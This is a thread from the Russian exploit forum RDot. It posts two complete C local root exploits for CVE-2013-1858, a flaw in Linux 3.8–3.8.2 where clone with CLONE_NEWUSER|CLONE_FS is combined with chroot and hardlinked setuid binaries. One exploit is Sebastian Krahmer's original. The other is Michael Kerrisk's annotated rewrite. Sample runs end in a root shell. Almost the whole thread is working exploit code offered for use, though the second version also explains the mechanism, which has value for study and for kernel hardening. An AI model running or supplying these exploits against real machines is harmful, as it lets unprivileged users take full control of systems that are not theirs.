RDot

RDot (https://rdot.org/forum/index.php)
-   Повышение привилегий/Privilege escalation (https://rdot.org/forum/forumdisplay.php?f=24)
-   -   CVE-2013-1858 Linux kernel CLONE_NEWUSER|CLONE_FS root exploit 3.8 — 3.8.2 (https://rdot.org/forum/showthread.php?t=2656)

SynQ 14.03.2013 12:51

CVE-2013-1858 Linux kernel CLONE_NEWUSER|CLONE_FS root exploit 3.8 — 3.8.2
 
Цитата:

The trick is to setup a chroot in your CLONE_NEWUSER,
but also affecting the parent, which is running
in the init_user_ns, but with the chroot shared.
Then its trivial to get a rootshell from that.

Tested on a openSUSE12.1 with a custom build 3.8.2 (x86_64).
Очередной малозначительный баг, связан с появившимися в 3.8 user_namespaces (похоже в них еще много багов найдут).

Автор - Sebastian Krahmer (@steaIth).

Цитата:

@grsecurity: Clone with one thread in a user ns, the other staying in init ns, both sharing task->fs (includes fs root)...
@grsecurity: Chroot inside user ns then affects thread outside user ns, with chroot set up with hardlinked su binary and exploit bin inside
@grsecurity: Exploit bin gets loaded with real suid root privilege, makes itself suid root for nice real root shell
Исправляющий коммит: https://git.kernel.org/cgit/linux/ke...20d1f2ca332c71


Код:

/* clown-newuser.c -- CLONE_NEWUSER kernel root PoC
 *
 * Dedicated to: Locke Locke Locke Locke Locke Locke Locke!
 *
 * This exploit was made on the 13.3.13.
 *
 * (C) 2013 Sebastian Krahmer
 *
 * We are so 90's, but we do 2013 xSports.
 *
 * Must be compiled static:
 *
 * stealth@linux-czfh:~> cc -Wall clown-newuser.c -static
 * stealth@linux-czfh:~> ./a.out
 * [**] clown-newuser -- CLONE_NEWUSER local root (C) 2013 Sebastian Krahmer
 *
 * [+] Found myself: '/home/stealth/a.out'
 *[*] Parent waiting for boomsh to appear ...
 *[*] Setting up chroot ...
 * [+] Done.
 *[*] Cloning evil child ...
 * [+] Done.
 *[*] Creating UID mapping ...
 * [+] Done.
 * [+] Yay! euid=0 uid=1000
 * linux-czfh:/home/stealth # grep bin /etc/shadow
 * bin:*:15288::::::
 * linux-czfh:/home/stealth #
 *
 */
#define _GNU_SOURCE
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>


int go[2];
char child_stack[1<<20];
extern char **environ;


void die(const char *msg)
{
        perror(msg);
        exit(errno);
}


int child(void *arg)
{
        char c;

        close(go[1]);
        read(go[0], &c, 1);

        setuid(0);

        /* this will also affect the parent, but the parent
        * has the init_user_ns, so it will start suid with real uid 0.
        */
        if (chdir("chroot") < 0)
                die("[-] chdir");
        if (chroot(".") < 0)
                die("[-] chroot");

        return 0;
}



int setup_chroot(const char *me)
{
        mkdir("chroot", 0755);
        mkdir("chroot/lib64", 0755);
        mkdir("chroot/bin", 0755);

        if (link(me, "chroot/lib64/ld-linux-x86-64.so.2") < 0)
                die("[-] link");
        if (link("/bin/su", "chroot/bin/su") < 0)
                die("[-] link");
        return 0;
}


int main(int argc, char *argv[])
{
        char *su[] = {"/bin/su", NULL};
        char *sh[] = {"/bin/bash", NULL};
        char me[256], *mee[] = {me, "1", NULL};
        char uidmap[128], map_file[128];
        pid_t pid;
        struct stat st;
        int fd;


        if (geteuid() == 0 && argc == 1) {
                /* this will run inside chroot, started as the ld.so from
                * su process
                */
                printf("[+] Yay! euid=%d uid=%d\n", geteuid(), getuid());
                chown("lib64/ld-linux-x86-64.so.2", 0, 0);
                chmod("lib64/ld-linux-x86-64.so.2", 04755);
                exit(0);
        } else if (geteuid() == 0) {
                /* this will run outside */
                setuid(0);
                execve(*sh, sh, environ);
                die("[-] execve");
        }

        printf("[**] clown-newuser -- CLONE_NEWUSER local root (C) 2013 Sebastian Krahmer\n\n");

        memset(me, 0, sizeof(me));
        readlink("/proc/self/exe", me, sizeof(me) - 1);
        printf("[+] Found myself: '%s'\n", me);

        if (fork() > 0) {
                printf("[*] Parent waiting for boomsh to appear ...\n");
                for (;;) {
                        stat(me, &st);
                        if (st.st_uid == 0)
                                break;
                        usleep(1000);
                }
                execve(me, mee, environ);
                die("[-] execve");
        }

        printf("[*] Setting up chroot ...\n");
        setup_chroot(me);
        printf("[+] Done.\n[*] Cloning evil child ...\n");

        if (pipe(go) < 0)
                die("[-] pipe");

        pid = clone(child, child_stack + sizeof(child_stack),
                    CLONE_NEWUSER|CLONE_FS|SIGCHLD, NULL);
        if (pid == -1)
                die("[-] clone");

        printf("[+] Done.\n[*] Creating UID mapping ...\n");

        snprintf(map_file, sizeof(map_file), "/proc/%d/uid_map", pid);
        if ((fd = open(map_file, O_RDWR)) < 0)
                die("[-] open");
        snprintf(uidmap, sizeof(uidmap), "0 %d 1\n", getuid());
        if (write(fd, uidmap, strlen(uidmap)) < 0)
                die("[-] write");
        close(fd);
        printf("[+] Done.\n");

        close(go[0]);
        write(go[1], "X", 1);

        waitpid(pid, NULL, 0);
        execve(*su, su, NULL);
        die("[-] execve");
        return -1;
}


SynQ 28.03.2013 13:13

Подробное описание работы эксплойта на LWN

Оттуда же переписанный эксплойт с добавлением развернутых комментариев:
Код:

/*The program below demonstrates a security vulnerability in the Linux 3.8 implementation of user namespaces. That vulnerability is already fixed in Linux 3.9 (and stable kernel 3.8.3). The following shell script shows an example run of this program:

    $ uname -sr
    Linux 3.8.0
    $ cc -static -Wall userns_exploit.c -o userns_exploit
    $ cp userns_exploit /tmp        # On same filesystem as /bin/fusermount
    $ cd /tmp
    $ ls -l --numeric-uid-gid --inode /bin/fusermount /tmp/userns_exploit |
        awk '{printf "%6d %s %5d %5d  %s\n", $1, $2, $4, $5, $NF}'
    172255 -rwsr-xr-x.    0    0  /bin/fusermount
      8169 -rwxr-xr-x.  1000  1000  /tmp/userns_exploit
    $ ./userns_exploit /bin/fusermount
    PID 18583: / inode is 2
    PID 18583: path of this executable is: '/tmp/userns_exploit'
    PID 18583: waiting for "/tmp/userns_exploit" to become setuid-root
            PID 18584: child continues after fork()
            PID 18584: setting up chroot directory tree
            PID 18584: link("/bin/fusermount", "chroot/suid-root")
            PID 18584: link("/tmp/userns_exploit", "chroot/lib64/ld-linux-x86-64.so.2")
            PID 18584: created chroot tree:
                    172255  755 s    0    0  chroot/suid-root
                      8169  755    1000  1000  chroot/lib64/ld-linux-x86-64.so.2
            PID 18584: clone() returned PID = 18594
            PID 18584: calling waitpid()
                    PID 18594: clone child started
                    PID 18594: / inode is 2
                    PID 18594: finished chroot()
                    PID 18594: / inode is 788413 (chrooted)
                    PID 18594: exiting
            PID 18584: waitpid() complete
            PID 18584: / inode is 788413 (chrooted)
            PID 18584: execve a set-user-ID root program: /suid-root
            PID 18584:        ... passes control to dynamic linker (PHASE 2)
            PID 18584: PHASE 2 =====> execed with geteuid() == 0 && argc == 1
            PID 18584: / inode is 788413 (chrooted)
            PID 18584: make /lib64/ld-linux-x86-64.so.2 setuid-root
            PID 18584: state of chroot tree:
                    172255  755 s    0    0  ./suid-root
                      8169  755 s    0    0  ./lib64/ld-linux-x86-64.so.2
            PID 18584: exiting
    PID 18583: "/tmp/userns_exploit" is now setuid-root
    PID 18583: / inode is 2
    PID 18583: execve(/tmp/userns_exploit) (starts PHASE 3)
    PID 18583: PHASE 3 =====> execed with geteuid() == 0 && argc == 2
    PID 18583: / inode is 2
    PID 18583: rUID: 1000  eUID: 0 
    PID 18583: calling setuid(0)
    PID 18583: rUID: 0      eUID: 0 
    PID 18583: / inode is 2
    PID 18583: execve: /bin/bash
    bash$ id -u
    0

At the end of the above output, we see that a bash shell has been fired up, and the effective ID of the shell is 0. An unprivileged user has gained full root privileges.
*/
/* userns_exploit.c

  (C) Copyright 2013, Michael Kerrisk

  Licensed under the GNU General Public License version 2 or later.

  This program is very much inspired by Sebastian Krahmer's
  clown-newuser.c. Sebastian did all the heavy intellectual lifting.
  This program conducts the same exploit, but does so in well commented
  and well instrumented form, to ease understanding of what goes on.

  Sebastian's original program can be found at
  http://stealth.openwall.net/xSports/clown-newuser.c
  and his blog post on the exploit can be found at
  http://c-skills.blogspot.de/2013/03/clonenewuser-trickery.html

  The basis of the exploit is that Linux 3.8 allows the combination
  clone(CLONE_NEWUSER | CLONE_FS), which creates a situation where two
  processes are in different user namespaces but share their root
  directory attribute. By executing an arbitrary set-user-ID-root program
  (i.e., not one over whose operation we have any control) and employing
  some chroot(2) trickery, we can engineer a situation where *this*
  program is executed as the dynamic linker for the set-user-ID-root
  program. This leads to full root escalation from an unprivileged login.

  Linux 3.9 will already close this loophole by denying
  clone(CLONE_NEWUSER | CLONE_FS). The loophole is also closed in stable
  kernel 3.8.3.

  This program must be statically linked against glibc:

        cc userns_root_exploit.c -static
*/
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sched.h>
#include <stdarg.h>
#include <fcntl.h>
#include <string.h>
#include <limits.h>
#include <errno.h>
#include <ftw.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/stat.h>

#define errExit(msg)    do { perror(msg); exit(EXIT_FAILURE); \
                          } while (0)

extern char **environ;

#define STACK_SIZE (1024 * 1024)
static char child_stack[STACK_SIZE];

/* Log a message to stdout, indented using 'prefix' and with PID of caller */

static void
logmsg(char *prefix, const char *format, ...)
{
    va_list arg_list;

    printf("%sPID %ld: ", prefix, (long) getpid());

    va_start(arg_list, format);
    vprintf(format, arg_list);
    va_end(arg_list);
}

/* Display credentials of caller, along with inode of root directory */

static void
display_status(char *prefix)
{
    struct stat sb;

    if (stat("/", &sb) == -1)
        errExit("stat");

    logmsg(prefix, "/ inode is %ld", (long) sb.st_ino);

    /* The true root directory always has i-node 2. If / does not
      have inode 2, then we're inside a chroot jail; print a string
      indicate that. */

    if (sb.st_ino != 2)
        printf(" (chrooted)");
    printf("\n");
}

/* Called by nftw() for each node in a directory subtree. Display the
  following information about regular files: inode number,
  permissions (octal), set-user-ID flag, UID, GID, and pathname*/

static int
traverse_file(const char *pathname, const struct stat *sb, int type,
                      struct FTW *ftwb)
{
    if (S_ISREG(sb->st_mode))
        printf("\t\t%6ld  %3o %c %5d %5d  %s\n",
                (long) sb->st_ino, sb->st_mode & 0777,
                (sb->st_mode & S_ISUID) ? 's' : ' ',
                sb->st_uid, sb->st_gid, pathname);

    return 0;                  /* Tell nftw() to continue */
}

/* Traverse directory tree 'path' displaying information about regular
  files in the tree. */

static void
display_file_tree(char *path)
{
    nftw(path, traverse_file, 20, 0);
}

/* Start function for child of clone().

  Call chroot() to change the root directory. Because the child
  was created with CLONE_FS, the root directory of the parent
  process is also changed. However, the parent is still in the
  initial user namespace; therefore if it executes a
  set-user-ID-0 program, it will get an effective UID 0. */

static int
clone_child(void *arg)
{

    usleep(10000);      /* Just avoid confused intermingling of output */
    logmsg("\t\t", "clone child started\n");
    display_status("\t\t");

    /* Change the root directory. This affects the parent process,
      since it shares the root directory attribute. */

    if (chdir("chroot") == -1)
        errExit("chdir");
    if (chroot(".") == -1)
        errExit("chroot");

    logmsg("\t\t", "finished chroot()\n");
    display_status("\t\t");

    logmsg("\t\t", "exiting\n");
    return 0;
}

/* Create a chroot file tree.

  'self_path' is the pathname of this program (userns_chroot_exploit).
  'suid_path' is the path of an arbitrary set-user-ID-root program
  on the system to be exploited. */

static void
create_chroot_tree(const char *self_path, char *suid_path)
{
    logmsg("\t", "setting up chroot directory tree\n");

    /* Create directories */

    if (mkdir("chroot", 0755) == -1)
        errExit("mkdir 1");
    if (mkdir("chroot/lib64", 0755) == -1)
        errExit("mkdir 2");

    /* Link an arbitrary set-user-ID-root executable ('suid_path')
      to a location inside the tree.

      Note that this link() call will fail on systems where the
      /proc/sys/fs/protected_hardlinks file is set nonzero. That
      setting is designed to prevent exploits like this one. The
      default value in this file is 0 on vanilla kernels, but
      some distributions set it nonzero by default.

      The link() call will also fail if the two pathnames
      are on different file systems. Nothing new there,
      but it's an easy error to encounter when trying to link
      to set-user-ID-root programs in /usr/bin, for example. */

    logmsg("\t", "link(\"%s\", \"chroot/suid-root\")\n", suid_path);
    if (link(suid_path, "chroot/suid-root") == -1)
        perror("link suid_path");

    /* Within the chroot directory, link the userns_chroot_exploit
      executable to /lib64/ld-linux-x86-64.so.2, the path where the
      'suid-root' program will look for a dynamic linker.  (This
      pathname is architecture dependent; here we assume x86-64.) */

    logmsg("\t", "link(\"%s\", \"chroot/lib64/ld-linux-x86-64.so.2\")\n",
            self_path);
    if (link(self_path, "chroot/lib64/ld-linux-x86-64.so.2") == -1)
        errExit("link self_path");

#if 0
#endif

    /* For informational purposes, show the resulting chroot tree */

    logmsg("\t", "created chroot tree:\n");
    display_file_tree("chroot");
}

/* Prepare the exploit. Create and populate a directory tree to be used
  as a chroot jail. Then create a clone child that is in a different
  user namespace but shares the root directory attribute. That
  child will then do a chroot() into the jail; that chroot()
  call will also affect the caller of clone(). */

static void
prepare_the_exploit(char *self_path, char *suid_path)
{
    pid_t pid;

    create_chroot_tree(self_path, suid_path);

    /* Create a clone() child that resides in a new user namespace but
      shares the filesystem information (root directory, current working
      directory, umask) with the parent process.*/

    pid = clone(clone_child, child_stack + sizeof(child_stack),
                CLONE_NEWUSER | CLONE_FS | SIGCHLD, NULL);
    if (pid == -1)
        errExit("clone");

    logmsg("\t", "clone() returned PID = %ld\n", (long) pid);

    /* Wait for child to finish its work and terminate */

    logmsg("\t", "calling waitpid()\n");
    if (waitpid(pid, NULL, 0) == -1)
        errExit("waitpid");
    logmsg("\t", "waitpid() complete\n");
}

int
main(int argc, char *argv[])
{

    setbuf(stdout, NULL);      /* Make stdout unbuffered */

    /* In all, this program will be executed three times, once for each
      branch in the following if () {} else if () {} else {}.
      The if-logic distinguishes the three phases of the exploit. */

    if (geteuid() != 0) {

        /* PHASE 1: We are in the initial user namespace,
          and have no privileges.

          Do a fork() to create parent and child processes.

          The child prepares the exploit, and then executes a
          set-user-ID-root program that has been hard linked into
          a chroot jail. The environment of that program has been
          engineered so that instead of executing the true dynamic
          linker, it instead executes a program of our own choosing:
          well choose this program (userns_chroot_exploit) as the
          dynamic linker. Consequently, userns_chroot_exploit will
          run with true UID 0 (full privileges), and will carry out
          PHASE 2 of the exploit.

          Meanwhile the parent sits in a loop waiting until the
          userns_chroot_exploit executable file is made set-user-ID-root
          (a step performed by PHASE 2), and then re-executes the
          executable. */

        char self_path[PATH_MAX];
        pid_t pid;

        display_status("");

        /* Introspect via /proc/self/exe to obtain pathname of
          executable being run in this process */

        memset(self_path, 0, sizeof(self_path));
        readlink("/proc/self/exe", self_path, sizeof(self_path) - 1);
        logmsg("", "path of this executable is: '%s'\n", self_path);

        pid = fork();
        if (pid == -1)
            errExit("fork");

        if (pid == 0) {        /* Child */

            char *suid_argv[] = { "/suid-root", NULL };

            logmsg("\t", "child continues after fork()\n");

            prepare_the_exploit(self_path, argv[1]);

            /* At this point, we are inside the chroot jail (because the
              clone child did a chroot() and the two processes share the
              root directory attribute). Now execute a set-user-ID-root
              program. Since we are in the *initial* user namespace
              the program will gain the true UID 0. Even though we didn't
              have any special control of the set-user-ID-root program,
              we have put it in a chroot environment where we *do* control
              the dynamic linker that it will employ. That dynamic linker
              is another instance of the userns_chroot_exploit program,
              executed with different command-line arguments--it will be
              run as true UID 0. This is the critical step in gaining root
              privileges on the system. */

            display_status("\t");

            logmsg("\t", "execve a set-user-ID root program: %s\n",
                    suid_argv[0]);
            logmsg("\t", "\t... passes control to dynamic linker (PHASE 2)\n");

            execve(suid_argv[0], suid_argv, NULL);
            errExit("execve");

        } else {                /* Parent */

            /* The parent has a distinct root directory attribute from the
              child and the clone child, and so is unaffected by the
              chroot() call in the clone child. */

            char *self_argv[] = { self_path, "1", NULL };
            struct stat sb;

            /* Wait until the pathname of the executable being run by this
              program has been made set-user-ID-root, then execute it. */

            logmsg("", "waiting for \"%s\" to become setuid-root\n",
                    self_path);

            for (;;) {  /* Poll file state at intervals */
                if (stat(self_path, &sb) == -1)
                    errExit("stat");
                if (sb.st_uid == 0 && (sb.st_mode & S_ISUID))
                    break;
                usleep(10000);
            }

            logmsg("", "\"%s\" is now setuid-root\n", self_path);
            display_status("");

            /* Now reexecute userns_chroot_exploit; since that executable
              is now set-user-ID-root, we now gain full root privileges. */

            logmsg("", "execve(%s) (starts PHASE 3)\n", self_path);

            execve(self_path, self_argv, environ);
            errExit("execve");
        }

    } else if (geteuid() == 0 && argc == 1) {

        /* PHASE 2:
          We are inside the chroot jail, running with true UID 0.

          We can't break out of the jail, but since we are true UID 0,
          we can create a set-user-ID-root executable. We make the dynamic
          linker inside the jail set-user-ID-root and then terminate.
          During PHASE 1, the dynamic linker path was created as a link
          to the userns_chroot_exploit executable, so this step has the
          effect of making that executable (which is *outside* the chroot
          jail) set-user-ID-root. */

        logmsg("\t", "PHASE 2 =====> "
                "execed with geteuid() == 0 && argc == 1\n");

        display_status("\t");
        logmsg("\t", "make /lib64/ld-linux-x86-64.so.2 setuid-root\n");

        chown("lib64/ld-linux-x86-64.so.2", 0, 0);
        chmod("lib64/ld-linux-x86-64.so.2", 04755);

        /* For informational purposes, redisplay the file tree in
          the chroot jail, so that we can see the changes that have
          been wrought. */

        logmsg("\t", "state of chroot tree:\n");
        display_file_tree(".");

        logmsg("\t", "exiting\n");
        exit(EXIT_SUCCESS);

    } else {

        /* PHASE 3:
          We are outside the chroot jail, inside the initial user
          namespace, running with true UID 0. All the hard work has
          been done; all we need now is a shell running as root. */

        char *shell_argv[] = { "/bin/bash", NULL };

        /* Sanity check: the program logic dictates that our
          effective UID must be zero here, but double check. */

        if (geteuid() != 0) {
            fprintf(stderr, "Unexpected execution environment\n");
            exit(EXIT_SUCCESS);
        }

        logmsg("", "PHASE 3 =====> "
                "execed with geteuid() == 0 && argc == %d\n", argc);

        display_status("");

        /* At this stage, we have an effective user ID of 0, but our
          real user ID is still nonzero. Many shells (rightly) view
          that constellation with suspicion, and when they detect
          it on start-up, they reset the effective UID to be the
          same as the real UID. bash(1) is no exception. Therefore,
          we have to ensure that the real user ID is also made 0
          before executing bash. */

        logmsg("", "rUID: %-4ld  eUID: %-4ld\n",
                (long) getuid(), (long) geteuid());

        logmsg("", "calling setuid(0)\n");

        if (setuid(0) == -1)
            errExit("setuid");

        logmsg("", "rUID: %-4ld  eUID: %-4ld\n",
                (long) getuid(), (long) geteuid());
        display_status("");

        /* Now we can run a full shell as root */

        logmsg("", "execve: %s\n", shell_argv[0]);

        execve(shell_argv[0], shell_argv, environ);
        errExit("execve");
    }
}



Часовой пояс GMT +3, время: 03:16.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd. Перевод: zCarot